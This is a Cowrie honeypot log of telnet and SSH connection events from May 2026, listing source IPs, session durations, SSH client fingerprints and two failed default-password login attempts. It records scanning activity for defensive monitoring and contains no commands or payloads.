{"eventid":"cowrie.session.closed","duration":31.245680809020996,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:23.577878Z","src_ip":"74.208.13.194","session":"8fd690423791","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.997267723083496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:23.756215Z","src_ip":"74.208.13.194","session":"e0cdeb882c10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.921348333358765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:25.156464Z","src_ip":"74.208.13.194","session":"ee7ff84bafdb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":40260,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a615c288b30","protocol":"telnet","message":"New connection: 74.208.13.194:40260 (10.17.0.5:23) [session: 3a615c288b30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:26.648018Z"}
{"eventid":"cowrie.session.closed","duration":31.106242895126343,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:26.790035Z","src_ip":"74.208.13.194","session":"8805d0ac6fd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09066891670227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:27.154250Z","src_ip":"74.208.13.194","session":"c14500f71dc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.875280618667603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:27.513996Z","src_ip":"74.208.13.194","session":"20207f1a435c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60160,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7f88242bcd8","protocol":"telnet","message":"New connection: 152.42.224.71:60160 (10.17.0.5:23) [session: e7f88242bcd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:28.433746Z"}
{"eventid":"cowrie.session.closed","duration":30.682533502578735,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:28.625629Z","src_ip":"74.208.13.194","session":"4cca0741f507","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.093996286392212,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:28.822219Z","src_ip":"74.208.13.194","session":"b93b924d44ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.942413568496704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:29.019696Z","src_ip":"74.208.13.194","session":"e4bc90fad7ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.32.136","src_port":49892,"dst_ip":"159.203.135.109","dst_port":22,"session":"af5ffefa247e","protocol":"ssh","message":"New connection: 43.134.32.136:49892 (159.203.135.109:22) [session: af5ffefa247e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:29.037966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:29.041467Z","src_ip":"43.134.32.136","session":"af5ffefa247e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":101.6755096912384,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:29.158540Z","src_ip":"152.42.224.71","session":"7c7aacc7effb","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:29.277245Z","src_ip":"43.134.32.136","session":"af5ffefa247e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60164,"dst_ip":"10.17.0.5","dst_port":23,"session":"91e4c8c8c2db","protocol":"telnet","message":"New connection: 152.42.224.71:60164 (10.17.0.5:23) [session: 91e4c8c8c2db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:29.523719Z"}
{"eventid":"cowrie.session.closed","duration":30.69700813293457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:29.628338Z","src_ip":"74.208.13.194","session":"9dcf258ee905","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"devops","password":"password","message":"login attempt [devops/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:30.257686Z","src_ip":"43.134.32.136","session":"af5ffefa247e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.25633478164673,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:30.633107Z","src_ip":"74.208.13.194","session":"6e6f5a1b02a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:31.497728Z","src_ip":"43.134.32.136","session":"af5ffefa247e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.642993927001953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:32.460668Z","src_ip":"74.208.13.194","session":"4938e86e349b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.06606888771057,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:33.289547Z","src_ip":"152.42.224.71","session":"88303a86608b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60168,"dst_ip":"10.17.0.5","dst_port":23,"session":"8da17731b7fd","protocol":"telnet","message":"New connection: 152.42.224.71:60168 (10.17.0.5:23) [session: 8da17731b7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:33.544128Z"}
{"eventid":"cowrie.session.closed","duration":109.28672528266907,"message":"Connection lost after 109 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:34.941024Z","src_ip":"152.42.224.71","session":"c06af200b17c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.086838006973267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:36.170155Z","src_ip":"74.208.13.194","session":"dc3d04357117","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":46992,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a07c08344c5","protocol":"telnet","message":"New connection: 74.208.13.194:46992 (10.17.0.5:23) [session: 8a07c08344c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:36.886650Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":46994,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ef6bc3014a6","protocol":"telnet","message":"New connection: 74.208.13.194:46994 (10.17.0.5:23) [session: 6ef6bc3014a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:36.994559Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37368,"dst_ip":"10.17.0.5","dst_port":23,"session":"00cc98c259ba","protocol":"telnet","message":"New connection: 152.42.224.71:37368 (10.17.0.5:23) [session: 00cc98c259ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:38.440843Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":46998,"dst_ip":"10.17.0.5","dst_port":23,"session":"08d5750d441e","protocol":"telnet","message":"New connection: 74.208.13.194:46998 (10.17.0.5:23) [session: 08d5750d441e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:40.774726Z"}
{"eventid":"cowrie.session.closed","duration":31.694297790527344,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:40.825794Z","src_ip":"74.208.13.194","session":"606bfefb447b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37376,"dst_ip":"10.17.0.5","dst_port":23,"session":"34d5e86e8828","protocol":"telnet","message":"New connection: 152.42.224.71:37376 (10.17.0.5:23) [session: 34d5e86e8828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:41.622338Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37384,"dst_ip":"10.17.0.5","dst_port":23,"session":"142f1dc0dbb6","protocol":"telnet","message":"New connection: 152.42.224.71:37384 (10.17.0.5:23) [session: 142f1dc0dbb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:42.926633Z"}
{"eventid":"cowrie.session.closed","duration":31.54822850227356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:43.707711Z","src_ip":"74.208.13.194","session":"6bcb9507fd0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.160992860794067,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:47.527279Z","src_ip":"74.208.13.194","session":"3007f4bc1629","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85363507270813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:49.407254Z","src_ip":"74.208.13.194","session":"e730e76274fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":51480,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f8e52d28fd6","protocol":"telnet","message":"New connection: 74.208.13.194:51480 (10.17.0.5:23) [session: 5f8e52d28fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:51.214488Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":51482,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcce02ea75f5","protocol":"telnet","message":"New connection: 74.208.13.194:51482 (10.17.0.5:23) [session: bcce02ea75f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:52.555717Z"}
{"eventid":"cowrie.session.closed","duration":31.513113975524902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:52.901695Z","src_ip":"74.208.13.194","session":"2a2b005b1ffd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.096128940582275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:53.118280Z","src_ip":"74.208.13.194","session":"8d86f5d18cdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.782639741897583,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:54.306234Z","src_ip":"152.42.224.71","session":"91e4c8c8c2db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.01136326789856,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:57.445014Z","src_ip":"152.42.224.71","session":"e7f88242bcd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.196096420288086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:34:57.843989Z","src_ip":"74.208.13.194","session":"3a615c288b30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.71084141731262,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:01.364172Z","src_ip":"152.42.224.71","session":"b8141e44f656","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":36424,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaf9168d5586","protocol":"telnet","message":"New connection: 74.208.13.194:36424 (10.17.0.5:23) [session: aaf9168d5586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:04.554733Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":36436,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaafbd641788","protocol":"telnet","message":"New connection: 74.208.13.194:36436 (10.17.0.5:23) [session: aaafbd641788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:05.374133Z"}
{"eventid":"cowrie.session.closed","duration":31.101144790649414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:07.987690Z","src_ip":"74.208.13.194","session":"8a07c08344c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.736520290374756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:08.730954Z","src_ip":"74.208.13.194","session":"6ef6bc3014a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.862268686294556,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:11.303005Z","src_ip":"152.42.224.71","session":"00cc98c259ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.875616788864136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:11.650234Z","src_ip":"74.208.13.194","session":"08d5750d441e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.190766096115112,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:12.117286Z","src_ip":"152.42.224.71","session":"142f1dc0dbb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":55538,"dst_ip":"10.17.0.5","dst_port":23,"session":"831610cf760f","protocol":"telnet","message":"New connection: 74.208.13.194:55538 (10.17.0.5:23) [session: 831610cf760f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:14.429207Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48502,"dst_ip":"10.17.0.5","dst_port":23,"session":"47a99b55ff51","protocol":"telnet","message":"New connection: 152.42.224.71:48502 (10.17.0.5:23) [session: 47a99b55ff51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:15.226772Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48514,"dst_ip":"10.17.0.5","dst_port":23,"session":"103d4ac5025e","protocol":"telnet","message":"New connection: 152.42.224.71:48514 (10.17.0.5:23) [session: 103d4ac5025e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:15.418576Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":43386,"dst_ip":"10.17.0.5","dst_port":23,"session":"19c90e21a84b","protocol":"telnet","message":"New connection: 74.208.13.194:43386 (10.17.0.5:23) [session: 19c90e21a84b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:18.817135Z"}
{"eventid":"cowrie.session.closed","duration":45.89880061149597,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:19.442863Z","src_ip":"152.42.224.71","session":"8da17731b7fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":43394,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d7fbcea7997","protocol":"telnet","message":"New connection: 74.208.13.194:43394 (10.17.0.5:23) [session: 6d7fbcea7997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:19.499949Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":43406,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6eef5849d5f","protocol":"telnet","message":"New connection: 74.208.13.194:43406 (10.17.0.5:23) [session: e6eef5849d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:21.346171Z"}
{"eventid":"cowrie.session.closed","duration":31.695285081863403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:22.909696Z","src_ip":"74.208.13.194","session":"5f8e52d28fd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":55192,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3e5a48e6402","protocol":"ssh","message":"New connection: 80.94.92.184:55192 (10.17.0.5:22) [session: c3e5a48e6402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:23.326664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:23.395499Z","src_ip":"80.94.92.184","session":"c3e5a48e6402","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:23.581285Z","src_ip":"80.94.92.184","session":"c3e5a48e6402","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.107171297073364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:23.662777Z","src_ip":"74.208.13.194","session":"bcce02ea75f5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv123","message":"login attempt [solv/solv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:24.214059Z","src_ip":"80.94.92.184","session":"c3e5a48e6402","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44974,"dst_ip":"10.17.0.5","dst_port":23,"session":"794551dcfee5","protocol":"telnet","message":"New connection: 152.42.224.71:44974 (10.17.0.5:23) [session: 794551dcfee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:25.688863Z"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:26.739626Z","src_ip":"80.94.92.184","session":"c3e5a48e6402","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":74.26445531845093,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:27.005879Z","src_ip":"152.42.224.71","session":"386953de662b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":47070,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9a371f38084","protocol":"telnet","message":"New connection: 74.208.13.194:47070 (10.17.0.5:23) [session: a9a371f38084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:34.193032Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45804,"dst_ip":"10.17.0.5","dst_port":23,"session":"03c1585fa998","protocol":"telnet","message":"New connection: 152.42.224.71:45804 (10.17.0.5:23) [session: 03c1585fa998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:34.816424Z"}
{"eventid":"cowrie.session.closed","duration":31.340261697769165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:35.894870Z","src_ip":"74.208.13.194","session":"aaf9168d5586","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.54505944252014,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:36.919088Z","src_ip":"74.208.13.194","session":"aaafbd641788","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.213.222.198","src_port":54558,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c253b4f031c","protocol":"telnet","message":"New connection: 8.213.222.198:54558 (10.17.0.5:23) [session: 9c253b4f031c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:42.750051Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.13.194","src_port":45648,"dst_ip":"10.17.0.5","dst_port":23,"session":"cba98378aa26","protocol":"telnet","message":"New connection: 74.208.13.194:45648 (10.17.0.5:23) [session: cba98378aa26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:44.808250Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44912,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbb36ca5b49f","protocol":"telnet","message":"New connection: 152.42.224.71:44912 (10.17.0.5:23) [session: fbb36ca5b49f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:45.030550Z"}
{"eventid":"cowrie.session.closed","duration":30.65266251564026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:35:45.081779Z","src_ip":"74.208.13.194","session":"831610cf760f","protocol":"telnet"}
